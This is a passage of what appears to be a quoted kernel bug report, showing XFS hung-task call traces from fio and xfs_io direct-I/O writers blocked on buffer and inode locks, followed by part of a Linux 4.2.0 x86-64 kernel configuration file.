xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261556] [] xfs_file_write_iter+0x81/0x120 > [ 1501.261558] [] aio_run_iocb+0x26a/0x2d0 > [ 1501.261560] [] ? find_get_entries+0x169/0x1b0 > [ 1501.261561] [] ? aio_read_events+0x28d/0x380 > [ 1501.261563] [] ? do_io_submit+0x198/0x4f0 > [ 1501.261564] [] do_io_submit+0x257/0x4f0 > [ 1501.261566] [] SyS_io_submit+0x10/0x20 > [ 1501.261567] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1501.261568] fio D ffff88043fc57480 0 3808 3734 0x00000000 > [ 1501.261570] ffff88040e1431e8 0000000000000086 ffff88041122a7c0 ffff8801fcdc27c0 > [ 1501.261571] ffff88040e144000 ffff88040fb5cf30 ffff8801fcdc27c0 0000000000000008 > [ 1501.261572] ffff8801fcd70010 ffff88040e143200 ffffffff8195ce23 7fffffffffffffff > [ 1501.261573] Call Trace: > [ 1501.261575] [] schedule+0x33/0x80 > [ 1501.261576] [] schedule_timeout+0x1fa/0x290 > [ 1501.261577] [] ? down_trylock+0x2e/0x40 > [ 1501.261579] [] __down+0x72/0xc0 > [ 1501.261580] [] ? _xfs_buf_find+0x1d7/0x370 > [ 1501.261581] [] down+0x41/0x50 > [ 1501.261583] [] xfs_buf_lock+0x3c/0xe0 > [ 1501.261584] [] _xfs_buf_find+0x1d7/0x370 > [ 1501.261585] [] xfs_buf_get_map+0x2a/0x180 > [ 1501.261586] [] xfs_buf_read_map+0x2c/0x100 > [ 1501.261588] [] xfs_trans_read_buf_map+0x1a5/0x360 > [ 1501.261589] [] xfs_read_agf+0xb1/0x140 > [ 1501.261590] [] xfs_alloc_read_agf+0x64/0x260 > [ 1501.261591] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 > [ 1501.261593] [] ? xfs_bmap_add_extent_unwritten_real+0x3ee/0x1ae0 > [ 1501.261594] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261595] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261596] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261597] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261599] [] xfs_alloc_vextent+0x22d/0x7f0 > [ 1501.261600] [] xfs_bmap_btalloc+0x3c1/0x800 > [ 1501.261601] [] ? xfs_iext_get_ext+0x95/0xf0 > [ 1501.261603] [] xfs_bmap_alloc+0x24/0x30 > [ 1501.261604] [] xfs_bmapi_write+0x6b3/0xf50 > [ 1501.261605] [] ? xfs_iext_bno_to_irec+0xaa/0xf0 > [ 1501.261607] [] xfs_iomap_write_direct+0x248/0x380 > [ 1501.261609] [] __xfs_get_blocks+0x458/0x7b0 > [ 1501.261611] [] xfs_get_blocks_direct+0x14/0x20 > [ 1501.261613] [] do_blockdev_direct_IO+0xf8c/0x2bd0 > [ 1501.261615] [] ? xfs_get_blocks+0x20/0x20 > [ 1501.261616] [] __blockdev_direct_IO+0x43/0x50 > [ 1501.261618] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261619] [] xfs_vm_direct_IO+0xc1/0x120 > [ 1501.261621] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261622] [] xfs_file_dio_aio_write+0x1e8/0x3b0 > [ 1501.261623] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261625] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261626] [] xfs_file_write_iter+0x81/0x120 > [ 1501.261628] [] aio_run_iocb+0x26a/0x2d0 > [ 1501.261629] [] ? aio_read_events+0x28d/0x380 > [ 1501.261631] [] ? do_io_submit+0x198/0x4f0 > [ 1501.261632] [] do_io_submit+0x257/0x4f0 > [ 1501.261634] [] SyS_io_submit+0x10/0x20 > [ 1501.261635] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1501.261636] fio D ffff88043fcd7480 0 3809 3734 0x00000000 > [ 1501.261638] ffff8801fce63b68 0000000000000082 ffff88041122c240 ffff8801fcdc6a00 > [ 1501.261639] ffff8801fce64000 ffff8800363a0500 ffffffffffffffff ffffffff8140d664 > [ 1501.261640] ffffffff8140dbb0 ffff8801fce63b80 ffffffff8195ce23 ffff8801fcdc6a00 > [ 1501.261641] Call Trace: > [ 1501.261643] [] ? xfs_file_dio_aio_write+0xb4/0x3b0 > [ 1501.261644] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261645] [] schedule+0x33/0x80 > [ 1501.261647] [] rwsem_down_read_failed+0xe4/0x140 > [ 1501.261648] [] call_rwsem_down_read_failed+0x14/0x30 > [ 1501.261650] [] ? down_read+0x20/0x30 > [ 1501.261651] [] xfs_ilock+0x18b/0x1b0 > [ 1501.261652] [] xfs_file_dio_aio_write+0xb4/0x3b0 > [ 1501.261654] [] ? selinux_file_permission+0xc3/0x110 > [ 1501.261656] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261657] [] xfs_file_write_iter+0x81/0x120 > [ 1501.261658] [] aio_run_iocb+0x26a/0x2d0 > [ 1501.261660] [] ? aio_read_events+0x28d/0x380 > [ 1501.261662] [] ? do_io_submit+0x198/0x4f0 > [ 1501.261663] [] do_io_submit+0x257/0x4f0 > [ 1501.261665] [] SyS_io_submit+0x10/0x20 > [ 1501.261666] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1501.261667] fio D ffff88043fc57480 0 3810 3734 0x00000000 > [ 1501.261668] ffff8800b00db1e8 0000000000000082 ffff88041122a7c0 ffff8801fcdc3500 > [ 1501.261669] ffff8800b00dc000 ffff88040fb5cf30 ffff8801fcdc3500 0000000000000008 > [ 1501.261671] ffff8801fcd70010 ffff8800b00db200 ffffffff8195ce23 7fffffffffffffff > [ 1501.261672] Call Trace: > [ 1501.261673] [] schedule+0x33/0x80 > [ 1501.261675] [] schedule_timeout+0x1fa/0x290 > [ 1501.261676] [] ? down_trylock+0x2e/0x40 > [ 1501.261677] [] ? down_trylock+0x2e/0x40 > [ 1501.261679] [] __down+0x72/0xc0 > [ 1501.261680] [] ? _xfs_buf_find+0x190/0x370 > [ 1501.261681] [] ? kmem_cache_alloc+0x1c6/0x1f0 > [ 1501.261682] [] ? _xfs_buf_find+0x1d7/0x370 > [ 1501.261684] [] down+0x41/0x50 > [ 1501.261685] [] xfs_buf_lock+0x3c/0xe0 > [ 1501.261686] [] _xfs_buf_find+0x1d7/0x370 > [ 1501.261687] [] xfs_buf_get_map+0x2a/0x180 > [ 1501.261688] [] xfs_buf_read_map+0x2c/0x100 > [ 1501.261690] [] xfs_trans_read_buf_map+0x1a5/0x360 > [ 1501.261691] [] xfs_read_agf+0xb1/0x140 > [ 1501.261692] [] xfs_alloc_read_agf+0x64/0x260 > [ 1501.261693] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 > [ 1501.261694] [] ? xfs_alloc_ag_vextent_near+0xaf2/0xce0 > [ 1501.261696] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261697] [] ? xfs_perag_get+0x2a/0xc0 > [ 1501.261698] [] xfs_alloc_vextent+0x22d/0x7f0 > [ 1501.261700] [] xfs_bmap_btalloc+0x716/0x800 > [ 1501.261701] [] ? xfs_iext_get_ext+0x95/0xf0 > [ 1501.261702] [] xfs_bmap_alloc+0x24/0x30 > [ 1501.261704] [] xfs_bmapi_write+0x6b3/0xf50 > [ 1501.261706] [] xfs_iomap_write_direct+0x248/0x380 > [ 1501.261708] [] __xfs_get_blocks+0x458/0x7b0 > [ 1501.261709] [] xfs_get_blocks_direct+0x14/0x20 > [ 1501.261711] [] do_blockdev_direct_IO+0xf8c/0x2bd0 > [ 1501.261713] [] ? xfs_get_blocks+0x20/0x20 > [ 1501.261715] [] __blockdev_direct_IO+0x43/0x50 > [ 1501.261716] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261718] [] xfs_vm_direct_IO+0xc1/0x120 > [ 1501.261719] [] ? __xfs_end_io_direct_write+0xd0/0xd0 > [ 1501.261720] [] xfs_file_dio_aio_write+0x1e8/0x3b0 > [ 1501.261722] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261723] [] xfs_file_write_iter+0x81/0x120 > [ 1501.261725] [] aio_run_iocb+0x26a/0x2d0 > [ 1501.261726] [] ? aio_read_events+0x28d/0x380 > [ 1501.261728] [] ? do_io_submit+0x198/0x4f0 > [ 1501.261729] [] do_io_submit+0x257/0x4f0 > [ 1501.261731] [] SyS_io_submit+0x10/0x20 > [ 1501.261732] [] entry_SYSCALL_64_fastpath+0x12/0x71 > [ 1501.261733] fio D ffff88043fd17480 0 3812 3734 0x00000000 > [ 1501.261735] ffff8800b01ebb60 0000000000000086 ffff88041122cf80 ffff8800ba48c240 > [ 1501.261737] ffff8804107e81e8 ffff8800b01ebb78 ffffffff8195ce23 ffff8800b01ebbec > [ 1501.261740] [] schedule+0x33/0x80 > [ 1501.261742] [] ? wait_woken+0x80/0x80 > [ 1501.261746] [] xfs_flush_inodes+0x28/0x40 > [ 1501.261748] [] ? xfs_file_buffered_aio_write+0x250/0x250 > [ 1501.261754] [] ? do_io_submit+0x198/0x4f0 > [ 1501.261758] [] SyS_io_submit+0x10/0x20 > [ 1501.261760] xfs_io D ffff88043fc57480 0 4225 3474 0x00000000 > [ 1501.261765] Call Trace: > [ 1501.261767] [] schedule+0x33/0x80 > [ 1501.261770] [] ? down_trylock+0x2e/0x40 > [ 1501.261772] [] ? kmem_cache_alloc+0x1c6/0x1f0 > [ 1501.261774] [] ? _xfs_buf_find+0x1d7/0x370 > [ 1501.261777] [] xfs_buf_lock+0x3c/0xe0 > [ 1501.261779] [] xfs_buf_get_map+0x2a/0x180 > [ 1501.261783] [] xfs_read_agf+0xb1/0x140 > [ 1501.261785] [] xfs_alloc_fix_freelist+0x3b1/0x4d0 > [ 1501.261787] [] ? radix_tree_lookup+0xd/0x10 > [ 1501.261792] [] xfs_free_extent+0xd2/0x160 > [ 1501.261795] [] xfs_bmap_finish+0x120/0x150 > [ 1501.261798] [] xfs_setattr_size+0x3a7/0x440 > [ 1501.261801] [] notify_change+0x237/0x350 > [ 1501.261805] [] do_sys_ftruncate.constprop.15+0xe9/0x140 > # > # Automatically generated file; DO NOT EDIT. > # Linux/x86 4.2.0 Kernel Configuration > # > CONFIG_64BIT=y > CONFIG_X86_64=y > CONFIG_X86=y > CONFIG_INSTRUCTION_DECODER=y > CONFIG_PERF_EVENTS_INTEL_UNCORE=y > CONFIG_OUTPUT_FORMAT="elf64-x86-64" > CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig" > CONFIG_LOCKDEP_SUPPORT=y > CONFIG_STACKTRACE_SUPPORT=y > CONFIG_HAVE_LATENCYTOP_SUPPORT=y > CONFIG_MMU=y > CONFIG_NEED_DMA_MAP_STATE=y > CONFIG_NEED_SG_DMA_LENGTH=y > CONFIG_GENERIC_ISA_DMA=y > CONFIG_GENERIC_BUG=y > CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y > CONFIG_GENERIC_HWEIGHT=y > CONFIG_ARCH_MAY_HAVE_PC_FDC=y > CONFIG_RWSEM_XCHGADD_ALGORITHM=y > CONFIG_GENERIC_CALIBRATE_DELAY=y > CONFIG_ARCH_HAS_CPU_RELAX=y > CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y > CONFIG_HAVE_SETUP_PER_CPU_AREA=y > CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y > CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y > CONFIG_ARCH_HIBERNATION_POSSIBLE=y > CONFIG_ARCH_SUSPEND_POSSIBLE=y > CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y > CONFIG_ARCH_WANT_GENERAL_HUGETLB=y > CONFIG_ZONE_DMA32=y > CONFIG_AUDIT_ARCH=y > CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y > CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y > CONFIG_HAVE_INTEL_TXT=y > CONFIG_X86_64_SMP=y > CONFIG_ARCH_HWEIGHT_CFLAGS="-fcall-saved-rdi -fcall-saved-rsi -fcall-saved-rdx -fcall-saved-rcx -fcall-saved-r8 -fcall-saved-r9 -fcall-saved-r10 -fcall-saved-r11" > CONFIG_ARCH_SUPPORTS_UPROBES=y > CONFIG_FIX_EARLYCON_MEM=y > CONFIG_PGTABLE_LEVELS=4 > CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" > CONFIG_IRQ_WORK=y > CONFIG_BUILDTIME_EXTABLE_SORT=y > > # > # General setup > # > CONFIG_INIT_ENV_ARG_LIMIT=32 > CONFIG_CROSS_COMPILE="" > # CONFIG_COMPILE_TEST is not set > CONFIG_LOCALVERSION="" > # CONFIG_LOCALVERSION_AUTO is not set > CONFIG_HAVE_KERNEL_GZIP=y > CONFIG_HAVE_KERNEL_BZIP2=y > CONFIG_HAVE_KERNEL_LZMA=y > CONFIG_HAVE_KERNEL_XZ=y > CONFIG_HAVE_KERNEL_LZO=y > CONFIG_HAVE_KERNEL_LZ4=y > CONFIG_KERNEL_GZIP=y > # CONFIG_KERNEL_BZIP2 is not set > # CONFIG_KERNEL_LZMA is not set > # CONFIG_KERNEL_XZ is not set > # CONFIG_KERNEL_LZO is not set > # CONFIG_KERNEL_LZ4 is not set > CONFIG_DEFAULT_HOSTNAME="(none)" > CONFIG_SWAP=y > CONFIG_SYSVIPC=y > CONFIG_SYSVIPC_SYSCTL=y > CONFIG_POSIX_MQUEUE=y > CONFIG_POSIX_MQUEUE_SYSCTL=y > CONFIG_CROSS_MEMORY_ATTACH=y > CONFIG_FHANDLE=y > # CONFIG_USELIB is not set > CONFIG_AUDIT=y > CONFIG_HAVE_ARCH_AUDITSYSCALL=y > CONFIG_AUDITSYSCALL=y > CONFIG_AUDIT_WATCH=y > CONFIG_AUDIT_TREE=y > > # > # IRQ subsystem > # > CONFIG_GENERIC_IRQ_PROBE=y > CONFIG_GENERIC_IRQ_SHOW=y > CONFIG_GENERIC_PENDING_IRQ=y > CONFIG_IRQ_DOMAIN=y > CONFIG_IRQ_DOMAIN_HIERARCHY=y > CONFIG_GENERIC_MSI_IRQ=y > CONFIG_GENERIC_MSI_IRQ_DOMAIN=y > # CONFIG_IRQ_DOMAIN_DEBUG is not set > CONFIG_IRQ_FORCED_THREADING=y > CONFIG_SPARSE_IRQ=y > CONFIG_CLOCKSOURCE_WATCHDOG=y > CONFIG_ARCH_CLOCKSOURCE_DATA=y > CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y > CONFIG_GENERIC_TIME_VSYSCALL=y > CONFIG_GENERIC_CLOCKEVENTS=y > CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y > CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y > CONFIG_GENERIC_CMOS_UPDATE=y > > # > # Timers subsystem > # > CONFIG_TICK_ONESHOT=y > CONFIG_NO_HZ_COMMON=y > # CONFIG_HZ_PERIODIC is not set > # CONFIG_NO_HZ_IDLE is not set > CONFIG_NO_HZ_FULL=y > # CONFIG_NO_HZ_FULL_ALL is not set > # CONFIG_NO_HZ_FULL_SYSIDLE is not set > CONFIG_NO_HZ=y > CONFIG_HIGH_RES_TIMERS=y > > # > # CPU/Task time and stats accounting > # > CONFIG_VIRT_CPU_ACCOUNTING=y > CONFIG_VIRT_CPU_ACCOUNTING_GEN=y > CONFIG_BSD_PROCESS_ACCT=y > CONFIG_BSD_PROCESS_ACCT_V3=y > CONFIG_TASKSTATS=y > CONFIG_TASK_DELAY_ACCT=y > CONFIG_TASK_XACCT=y > CONFIG_TASK_IO_ACCOUNTING=y > > # > # RCU Subsystem > # > CONFIG_TREE_RCU=y > # CONFIG_RCU_EXPERT is not set > CONFIG_SRCU=y > # CONFIG_TASKS_RCU is not set > CONFIG_RCU_STALL_COMMON=y > CONFIG_CONTEXT_TRACKING=y > CONFIG_RCU_USER_QS=y > # CONFIG_CONTEXT_TRACKING_FORCE is not set > # CONFIG_TREE_RCU_TRACE is not set > CONFIG_RCU_NOCB_CPU=y > # CONFIG_RCU_NOCB_CPU_NONE is not set > # CONFIG_RCU_NOCB_CPU_ZERO is not set > CONFIG_RCU_NOCB_CPU_ALL=y > # CONFIG_RCU_EXPEDITE_BOOT is not set > CONFIG_BUILD_BIN2C=y > CONFIG_IKCONFIG=m > # CONFIG_IKCONFIG_PROC is not set > CONFIG_LOG_BUF_SHIFT=18 > CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 > CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y > CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y > CONFIG_ARCH_SUPPORTS_INT128=y > CONFIG_NUMA_BALANCING=y > CONFIG_NUMA_BALANCING_DEFAULT_ENABLED=y > CONFIG_CGROUPS=y > # CONFIG_CGROUP_DEBUG is not set > CONFIG_CGROUP_FREEZER=y > CONFIG_CGROUP_DEVICE=y > CONFIG_CPUSETS=y > CONFIG_PROC_PID_CPUSET=y > CONFIG_CGROUP_CPUACCT=y > CONFIG_PAGE_COUNTER=y > CONFIG_MEMCG=y > CONFIG_MEMCG_SWAP=y > CONFIG_MEMCG_SWAP_ENABLED=y > CONFIG_MEMCG_KMEM=y > CONFIG_CGROUP_HUGETLB=y > CONFIG_CGROUP_PERF=y > CONFIG_CGROUP_SCHED=y > CONFIG_FAIR_GROUP_SCHED=y > CONFIG_CFS_BANDWIDTH=y > CONFIG_RT_GROUP_SCHED=y > CONFIG_BLK_CGROUP=y > # CONFIG_DEBUG_BLK_CGROUP is not set > CONFIG_CGROUP_WRITEBACK=y > # CONFIG_CHECKPOINT_RESTORE is not set > CONFIG_NAMESPACES=y > CONFIG_UTS_NS=y > CONFIG_IPC_NS=y > CONFIG_USER_NS=y > CONFIG_PID_NS=y > CONFIG_NET_NS=y > CONFIG_SCHED_AUTOGROUP=y > # CONFIG_SYSFS_DEPRECATED is not set > CONFIG_RELAY=y > CONFIG_BLK_DEV_INITRD=y > CONFIG_INITRAMFS_SOURCE="" > CONFIG_RD_GZIP=y > CONFIG_RD_BZIP2=y > CONFIG_RD_LZMA=y > CONFIG_RD_XZ=y > CONFIG_RD_LZO=y > CONFIG_RD_LZ4=y > # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set > CONFIG_SYSCTL=y > CONFIG_ANON_INODES=y > CONFIG_HAVE_UID16=y > CONFIG_SYSCTL_EXCEPTION_TRACE=y > CONFIG_HAVE_PCSPKR_PLATFORM=y > CONFIG_BPF=y > CONFIG_EXPERT=y > CONFIG_UID16=y > CONFIG_MULTIUSER=y > CONFIG_SGETMASK_SYSCALL=y > CONFIG_SYSFS_SYSCALL=y > # CONFIG_SYSCTL_SYSCALL is not set > CONFIG_KALLSYMS=y > CONFIG_KALLSYMS_ALL=y > CONFIG_PRINTK=y > CONFIG_BUG=y > CONFIG_ELF_CORE=y > CONFIG_PCSPKR_PLATFORM=y > CONFIG_BASE_FULL=y > CONFIG_FUTEX=y > CONFIG_EPOLL=y > CONFIG_SIGNALFD=y > CONFIG_TIMERFD=y > CONFIG_EVENTFD=y > # CONFIG_BPF_SYSCALL is not set > CONFIG_SHMEM=y > CONFIG_AIO=y > CONFIG_ADVISE_SYSCALLS=y > CONFIG_PCI_QUIRKS=y > # CONFIG_EMBEDDED is not set > CONFIG_HAVE_PERF_EVENTS=y > > # > # Kernel Performance Events And Counters > # > CONFIG_PERF_EVENTS=y > # CONFIG_DEBUG_PERF_USE_VMALLOC is not set > CONFIG_VM_EVENT_COUNTERS=y > CONFIG_SLUB_DEBUG=y > # CONFIG_COMPAT_BRK is not set > # CONFIG_SLAB is not set > CONFIG_SLUB=y > # CONFIG_SLOB is not set > CONFIG_SLUB_CPU_PARTIAL=y > CONFIG_SYSTEM_TRUSTED_KEYRING=y > CONFIG_PROFILING=y > CONFIG_TRACEPOINTS=y > # CONFIG_OPROFILE is not set > CONFIG_HAVE_OPROFILE=y > CONFIG_OPROFILE_NMI_TIMER=y > CONFIG_KPROBES=y > CONFIG_JUMP_LABEL=y > CONFIG_OPTPROBES=y > CONFIG_KPROBES_ON_FTRACE=y > CONFIG_UPROBES=y > # CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set > CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y > CONFIG_ARCH_USE_BUILTIN_BSWAP=y > CONFIG_KRETPROBES=y > CONFIG_HAVE_IOREMAP_PROT=y > CONFIG_HAVE_KPROBES=y > CONFIG_HAVE_KRETPROBES=y > CONFIG_HAVE_OPTPROBES=y > CONFIG_HAVE_KPROBES_ON_FTRACE=y > CONFIG_HAVE_ARCH_TRACEHOOK=y > CONFIG_HAVE_DMA_ATTRS=y > CONFIG_HAVE_DMA_CONTIGUOUS=y > CONFIG_GENERIC_SMP_IDLE_THREAD=y > CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y > CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y > CONFIG_HAVE_CLK=y > CONFIG_HAVE_DMA_API_DEBUG=y > CONFIG_HAVE_HW_BREAKPOINT=y > CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y > CONFIG_HAVE_USER_RETURN_NOTIFIER=y > CONFIG_HAVE_PERF_EVENTS_NMI=y > CONFIG_HAVE_PERF_REGS=y > CONFIG_HAVE_PERF_USER_STACK_DUMP=y > CONFIG_HAVE_ARCH_JUMP_LABEL=y > CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y > CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y > CONFIG_HAVE_CMPXCHG_LOCAL=y > CONFIG_HAVE_CMPXCHG_DOUBLE=y > CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y > CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y > CONFIG_HAVE_ARCH_SECCOMP_FILTER=y > CONFIG_SECCOMP_FILTER=y > CONFIG_HAVE_CC_STACKPROTECTOR=y > CONFIG_CC_STACKPROTECTOR=y > # CONFIG_CC_STACKPROTECTOR_NONE is not set > # CONFIG_CC_STACKPROTECTOR_REGULAR is not set > CONFIG_CC_STACKPROTECTOR_STRONG=y > CONFIG_HAVE_CONTEXT_TRACKING=y > CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y > CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y > CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y > CONFIG_HAVE_ARCH_HUGE_VMAP=y > CONFIG_HAVE_ARCH_SOFT_DIRTY=y > CONFIG_MODULES_USE_ELF_RELA=y > CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y > CONFIG_ARCH_HAS_ELF_RANDOMIZE=y > CONFIG_HAVE_COPY_THREAD_TLS=y > CONFIG_OLD_SIGSUSPEND3=y > CONFIG_COMPAT_OLD_SIGACTION=y > > # > # GCOV-based kernel profiling > # > # CONFIG_GCOV_KERNEL is not set > CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y > # CONFIG_HAVE_GENERIC_DMA_COHERENT is not set > CONFIG_SLABINFO=y > CONFIG_RT_MUTEXES=y > CONFIG_BASE_SMALL=0 > CONFIG_MODULES=y > # CONFIG_MODULE_FORCE_LOAD is not set > CONFIG_MODULE_UNLOAD=y > # CONFIG_MODULE_FORCE_UNLOAD is not set > # CONFIG_MODVERSIONS is not set > # CONFIG_MODULE_SRCVERSION_ALL is not set > CONFIG_MODULE_SIG=y > # CONFIG_MODULE_SIG_FORCE is not set > CONFIG_MODULE_SIG_ALL=y > # CONFIG_MODULE_SIG_SHA1 is not set > # CONFIG_MODULE_SIG_SHA224 is not set > CONFIG_MODULE_SIG_SHA256=y > # CONFIG_MODULE_SIG_SHA384 is not set > # CONFIG_MODULE_SIG_SHA512 is not set > CONFIG_MODULE_SIG_HASH="sha256" > # CONFIG_MODULE_COMPRESS is not set > CONFIG_MODULES_TREE_LOOKUP=y > CONFIG_STOP_MACHINE=y > CONFIG_BLOCK=y > CONFIG_BLK_DEV_BSG=y > CONFIG_BLK_DEV_BSGLIB=y > CONFIG_BLK_DEV_INTEGRITY=y > CONFIG_BLK_DEV_THROTTLING=y > # CONFIG_BLK_CMDLINE_PARSER is not set > > # > # Partition Types > # > CONFIG_PARTITION_ADVANCED=y > # CONFIG_ACORN_PARTITION is not set > CONFIG_AIX_PARTITION=y > CONFIG_OSF_PARTITION=y > CONFIG_AMIGA_PARTITION=y > # CONFIG_ATARI_PARTITION is not set > CONFIG_MAC_PARTITION=y > CONFIG_MSDOS_PARTITION=y > CONFIG_BSD_DISKLABEL=y > CONFIG_MINIX_SUBPARTITION=y > CONFIG_SOLARIS_X86_PARTITION=y > CONFIG_UNIXWARE_DISKLABEL=y > CONFIG_LDM_PARTITION=y > # CONFIG_LDM_DEBUG is not set > CONFIG_SGI_PARTITION=y > # CONFIG_ULTRIX_PARTITION is not set > CONFIG_SUN_PARTITION=y > CONFIG_KARMA_PARTITION=y > CONFIG_EFI_PARTITION=y > # CONFIG_SYSV68_PARTITION is not set > # CONFIG_CMDLINE_PARTITION is not set > CONFIG_BLOCK_COMPAT=y > > # > # IO Schedulers > # > CONFIG_IOSCHED_NOOP=y > CONFIG_IOSCHED_DEADLINE=y > CONFIG_IOSCHED_CFQ=y > CONFIG_CFQ_GROUP_IOSCHED=y > # CONFIG_DEFAULT_DEADLINE is not set > CONFIG_DEFAULT_CFQ=y > # CONFIG_DEFAULT_NOOP is not set > CONFIG_DEFAULT_IOSCHED="cfq" > CONFIG_ASN1=y > CONFIG_INLINE_SPIN_UNLOCK_IRQ=y > CONFIG_INLINE_READ_UNLOCK=y > CONFIG_INLINE_READ_UNLOCK_IRQ=y > CONFIG_INLINE_WRITE_UNLOCK=y > CONFIG_INLINE_WRITE_UNLOCK_IRQ=y > CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y > CONFIG_MUTEX_SPIN_ON_OWNER=y > CONFIG_RWSEM_SPIN_ON_OWNER=y > CONFIG_LOCK_SPIN_ON_OWNER=y > CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y > CONFIG_QUEUED_SPINLOCKS=y > CONFIG_ARCH_USE_QUEUED_RWLOCKS=y > CONFIG_QUEUED_RWLOCKS=y > CONFIG_FREEZER=y > > # > # Processor type and features > # > # CONFIG_ZONE_DMA is not set > CONFIG_SMP=y > CONFIG_X86_FEATURE_NAMES=y > CONFIG_X86_X2APIC=y > CONFIG_X86_MPPARSE=y > CONFIG_X86_EXTENDED_PLATFORM=y > # CONFIG_X86_NUMACHIP is not set > # CONFIG_X86_VSMP is not set > CONFIG_X86_UV=y > # CONFIG_X86_GOLDFISH is not set > CONFIG_X86_INTEL_LPSS=y > # CONFIG_X86_AMD_PLATFORM_DEVICE is not set > CONFIG_IOSF_MBI=y > # CONFIG_IOSF_MBI_DEBUG is not set > CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y > CONFIG_SCHED_OMIT_FRAME_POINTER=y > CONFIG_HYPERVISOR_GUEST=y > CONFIG_PARAVIRT=y > # CONFIG_PARAVIRT_DEBUG is not set > # CONFIG_PARAVIRT_SPINLOCKS is not set > CONFIG_XEN=y > CONFIG_XEN_DOM0=y > CONFIG_XEN_PVHVM=y > CONFIG_XEN_MAX_DOMAIN_MEMORY=500 > CONFIG_XEN_SAVE_RESTORE=y > CONFIG_XEN_DEBUG_FS=y > # CONFIG_XEN_PVH is not set > CONFIG_KVM_GUEST=y > # CONFIG_KVM_DEBUG_FS is not set > CONFIG_PARAVIRT_TIME_ACCOUNTING=y > CONFIG_PARAVIRT_CLOCK=y > CONFIG_NO_BOOTMEM=y > # CONFIG_MK8 is not set > # CONFIG_MPSC is not set > # CONFIG_MCORE2 is not set > # CONFIG_MATOM is not set > CONFIG_GENERIC_CPU=y > CONFIG_X86_INTERNODE_CACHE_SHIFT=6 > CONFIG_X86_L1_CACHE_SHIFT=6 > CONFIG_X86_TSC=y > CONFIG_X86_CMPXCHG64=y > CONFIG_X86_CMOV=y > CONFIG_X86_MINIMUM_CPU_FAMILY=64 > CONFIG_X86_DEBUGCTLMSR=y > # CONFIG_PROCESSOR_SELECT is not set > CONFIG_CPU_SUP_INTEL=y > CONFIG_CPU_SUP_AMD=y > CONFIG_CPU_SUP_CENTAUR=y > CONFIG_HPET_TIMER=y > CONFIG_HPET_EMULATE_RTC=y > CONFIG_DMI=y > # CONFIG_GART_IOMMU is not set > # CONFIG_CALGARY_IOMMU is not set > CONFIG_SWIOTLB=y > CONFIG_IOMMU_HELPER=y > # CONFIG_MAXSMP is not set > CONFIG_NR_CPUS=64 > CONFIG_SCHED_SMT=y > CONFIG_SCHED_MC=y > # CONFIG_PREEMPT_NONE is not set > CONFIG_PREEMPT_VOLUNTARY=y > # CONFIG_PREEMPT is not set > CONFIG_X86_LOCAL_APIC=y > CONFIG_X86_IO_APIC=y > CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y > CONFIG_X86_MCE=y > CONFIG_X86_MCE_INTEL=y > CONFIG_X86_MCE_AMD=y > CONFIG_X86_MCE_THRESHOLD=y > # CONFIG_X86_MCE_INJECT is not set > CONFIG_X86_THERMAL_VECTOR=y > CONFIG_X86_16BIT=y > CONFIG_X86_ESPFIX64=y > CONFIG_X86_VSYSCALL_EMULATION=y > # CONFIG_I8K is not set > CONFIG_MICROCODE=y > CONFIG_MICROCODE_INTEL=y > CONFIG_MICROCODE_AMD=y > CONFIG_MICROCODE_OLD_INTERFACE=y > CONFIG_MICROCODE_INTEL_EARLY=y > CONFIG_MICROCODE_AMD_EARLY=y > CONFIG_MICROCODE_EARLY=y > CONFIG_X86_MSR=y > CONFIG_X86_CPUID=y > 